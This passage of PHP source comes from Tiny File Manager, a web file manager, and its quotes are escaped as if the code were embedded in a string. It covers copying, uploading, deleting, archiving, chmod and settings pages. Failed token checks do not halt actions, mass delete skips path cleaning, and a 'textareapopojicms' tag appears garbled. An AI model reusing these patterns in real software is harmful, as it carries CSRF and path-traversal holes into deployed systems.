            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');
            $fn_parts = pathinfo($from);
            $extension_suffix = \'\';
            if(!is_dir($from)){
               $extension_suffix = \'.\'.$fn_parts[\'extension\'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts[\'dirname\'].\'/\'.$fn_parts[\'filename\'].\'-\'.date(\'YmdHis\').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts[\'dirname\'].\'/\'.$fn_parts[\'filename\'].\'-copy\'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf(\'Copied from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf(\'Error while copying from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($fn_duplicate)), \'error\');
            }
       }
       else{
           fm_set_msg(lng(\'Paths must be not equal\'), \'alert\');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST[\'file\'], $_POST[\'copy_to\'], $_POST[\'finish\'], $_POST[\'token\']) && !FM_READONLY) {

    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg(lng(\'Invalid Token.\'), \'error\');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST[\'copy_to\']);
    if ($copy_to != \'\') {
        $copy_to_path .= \'/\' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng(\'Paths must be not equal\'), \'alert\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg(\'Unable to create destination folder\', \'error\');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST[\'move\']);
    // copy/move
    $errors = 0;
    $files = $_POST[\'file\'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != \'\') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . \'/\' . $f;
                // abs path to
                $dest = $copy_to_path . \'/\' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? \'Selected files and folders moved\' : \'Selected files and folders copied\';
            fm_set_msg($msg);
        } else {
            $msg = $move ? \'Error while moving items\' : \'Error while copying items\';
            fm_set_msg($msg, \'error\');
        }
    } else {
        fm_set_msg(lng(\'Nothing selected\'), \'alert\');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST[\'rename_from\'], $_POST[\'rename_to\'], $_POST[\'token\']) && !FM_READONLY) {
    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg("Invalid Token.", \'error\');
    }
    // old name
    $old = urldecode($_POST[\'rename_from\']);
    $old = fm_clean_path($old);
    $old = str_replace(\'/\', \'\', $old);
    // new name
    $new = urldecode($_POST[\'rename_to\']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace(\'/\', \'\', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != \'\' && $new != \'\') {
        if (fm_rename($path . \'/\' . $old, $path . \'/\' . $new)) {
            fm_set_msg(sprintf(lng(\'Renamed from\').\' <b>%s</b> \'. lng(\'to\').\' <b>%s</b>\', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng(\'Error while renaming from\').\' <b>%s</b> \'. lng(\'to\').\' <b>%s</b>\', fm_enc($old), fm_enc($new)), \'error\');
        }
    } else {
        fm_set_msg(lng(\'Invalid characters in file name\'), \'error\');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Download
if (isset($_GET[\'dl\'], $_POST[\'token\'])) {
    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg("Invalid Token.", \'error\');
    }

    $dl = urldecode($_GET[\'dl\']);
    $dl = fm_clean_path($dl);
    $dl = str_replace(\'/\', \'\', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    if ($dl != \'\' && is_file($path . \'/\' . $dl)) {
        fm_download_file($path . \'/\' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if(isset($_POST[\'token\'])) {
        if(!verifyToken($_POST[\'token\'])) {
            $response = array (\'status\' => \'error\',\'info\' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array (\'status\' => \'error\',\'info\' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST[\'dzchunkindex\'];
    $chunkTotal = $_POST[\'dztotalchunkcount\'];
    $fullPathInput = fm_clean_path($_REQUEST[\'fullpath\']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(\',\', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        \'status\' => \'error\',
        \'info\'   => \'Oops! Try again\'
    );

    $filename = $f[\'file\'][\'name\'];
    $tmp_name = $f[\'file\'][\'tmp_name\'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != \'\' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : \'\';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            \'status\'    => \'error\',
            \'info\'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . \'/\' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f[\'file\'][\'error\']) && !empty($tmp_name) && $tmp_name != \'none\' && $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === \'\') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            \'status\'    => \'success\',
                            \'info\' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        \'status\'    => \'error\',
                        \'info\' => "failed to open output stream",
                        \'errorDetails\' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        \'status\'    => \'success\',
                        \'info\' => "file upload successful"
                    );
                } else {
                    $response = array (
                        \'status\'    => \'error\',
                        \'info\' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? \'.\'.$ext : \'\';
                        $fullPathTarget = $path . \'/\' . basename($fullPathInput, $ext_1) .\'_\'. date(\'ymdHis\'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        \'status\'    => \'success\',
                        \'info\' => "file upload successful"
                    );
                } else {
                    $response = array (
                        \'status\' => \'error\',
                        \'info\'   => \'Couldn\'t upload the requested file.\'
                    );
                }
            } else {
                $response = array (
                    \'status\'    => \'error\',
                    \'info\'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            \'status\' => \'error\',
            \'info\'   => \'The specified folder for upload isn\'t writeable.\'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST[\'group\'], $_POST[\'delete\'], $_POST[\'token\']) && !FM_READONLY) {

    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg(lng("Invalid Token."), \'error\');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST[\'file\'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != \'\') {
                $new_path = $path . \'/\' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng(\'Selected files and folder deleted\'));
        } else {
            fm_set_msg(lng(\'Error while deleting items\'), \'error\');
        }
    } else {
        fm_set_msg(lng(\'Nothing selected\'), \'alert\');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST[\'group\'], $_POST[\'token\']) && (isset($_POST[\'zip\']) || isset($_POST[\'tar\'])) && !FM_READONLY) {

    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg(lng("Invalid Token."), \'error\');
    }

    $path = FM_ROOT_PATH;
    $ext = \'zip\';
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST[\'tar\']) ? \'tar\' : \'zip\';

    if (($ext == "zip" && !class_exists(\'ZipArchive\')) || ($ext == "tar" && !class_exists(\'PharData\'))) {
        fm_set_msg(lng(\'Operations with archives are not available\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    $files = $_POST[\'file\'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . \'_\' . date(\'ymd_His\') . \'.\'.$ext;
        } else {
            $zipname = \'archive_\' . date(\'ymd_His\') . \'.\'.$ext;
        }

        if($ext == \'zip\') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == \'tar\') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng(\'Archive\').\' <b>%s</b> \'.lng(\'Created\'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng(\'Archive not created\'), \'error\');
        }
    } else {
        fm_set_msg(lng(\'Nothing selected\'), \'alert\');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST[\'unzip\'], $_POST[\'token\']) && !FM_READONLY) {

    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg(lng("Invalid Token."), \'error\');
    }

    $unzip = urldecode($_POST[\'unzip\']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace(\'/\', \'\', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    if ($unzip != \'\' && is_file($path . \'/\' . $unzip)) {
        $zip_path = $path . \'/\' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng(\'File not found\'), \'error\');
    }

    if (($ext == "zip" && !class_exists(\'ZipArchive\')) || ($ext == "tar" && !class_exists(\'PharData\'))) {
        fm_set_msg(lng(\'Operations with archives are not available\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = \'\';
        if (isset($_POST[\'tofolder\'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . \'/\' . $tofolder, true)) {
                $path .= \'/\' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng(\'Archive unpacked\'));
        } else {
            fm_set_msg(lng(\'Archive not unpacked\'), \'error\');
        }
    } else {
        fm_set_msg(lng(\'File not found\'), \'error\');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST[\'chmod\'], $_POST[\'token\']) && !FM_READONLY && !FM_IS_WIN) {

    if(!verifyToken($_POST[\'token\'])) {
        fm_set_msg(lng("Invalid Token."), \'error\');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $file = $_POST[\'chmod\'];
    $file = fm_clean_path($file);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST[\'ur\'])) {
        $mode |= 0400;
    }
    if (!empty($_POST[\'uw\'])) {
        $mode |= 0200;
    }
    if (!empty($_POST[\'ux\'])) {
        $mode |= 0100;
    }
    if (!empty($_POST[\'gr\'])) {
        $mode |= 0040;
    }
    if (!empty($_POST[\'gw\'])) {
        $mode |= 0020;
    }
    if (!empty($_POST[\'gx\'])) {
        $mode |= 0010;
    }
    if (!empty($_POST[\'or\'])) {
        $mode |= 0004;
    }
    if (!empty($_POST[\'ow\'])) {
        $mode |= 0002;
    }
    if (!empty($_POST[\'ox\'])) {
        $mode |= 0001;
    }

    if (@chmod($path . \'/\' . $file, $mode)) {
        fm_set_msg(lng(\'Permissions changed\'));
    } else {
        fm_set_msg(lng(\'Permissions not changed\'), \'error\');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
    $path .= \'/\' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . \'?p=\');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == \'.\' || $file == \'..\') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === \'.\') {
            continue;
        }
        $new_path = $path . \'/\' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != \'.\' && $file != \'..\' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET[\'upload\']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(\',\', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(\',\', $extArr);
        }
        return \'\';
    }
    ?>
    <?php print_external(\'css-dropzone\'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng(\'UploadingFiles\') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng(\'Upload from URL\') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng(\'Back\')?></a>
                    <strong><?php echo lng(\'DestinationFolder\') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . \'?p=\' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng(\'Upload\') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external(\'js-dropzone\'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast(\'Error: Server Timeout\');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);

                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST[\'copy\']) && !FM_READONLY) {
    $copy_files = isset($_POST[\'file\']) ? $_POST[\'file\'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng(\'Nothing selected\'), \'alert\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng(\'Copying\') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo \'<input type="hidden" name="file[]" value="\' . fm_enc($cf) . \'">\' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng(\'Files\') ?></strong>: <b><?php echo implode(\'</b>, <b>\', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng(\'SourceFolder\') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng(\'DestinationFolder\') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng(\'Move\') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></a></b>
                        <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'Copy\') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET[\'copy\']) && !isset($_GET[\'finish\']) && !FM_READONLY) {
    $copy = $_GET[\'copy\'];
    $copy = fm_clean_path($copy);
    if ($copy == \'\' || !file_exists(FM_ROOT_PATH . \'/\' . $copy)) {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> 
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> 
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng(\'Select folder\') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET[\'settings\']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng(\'Settings\') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng(\'Cancel\')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng(\'Language\') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? \'selected\' : \'\';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value=\'$k\' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng(\'ErrorReporting\') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? \'checked\' : \'\'; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng(\'ShowHiddenFiles\') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? \'checked\' : \'\'; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng(\'HideColumns\') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? \'checked\' : \'\'; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng(\'Theme\') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value=\'light\' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng(\'light\') ?></option>
                                <option value=\'dark\' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng(\'dark\') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng(\'Save\'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET[\'help\'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng(\'Help\') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng(\'Cancel\')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng(\'Help Documents\') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng(\'Report Issue\') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng(\'Generate new password hash\') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng(\'Generate new password hash\') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng(\'Password\') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng(\'Password\') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng(\'Generate\') ?></button>
                        </form>
                        <textareapopojicms class="form-control" rows="2" readonly id="js-pwd-result"></textareapopojicms>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET[\'view\'])) {
    $file = $_GET[\'view\'];
    $file = fm_clean_path($file, false);
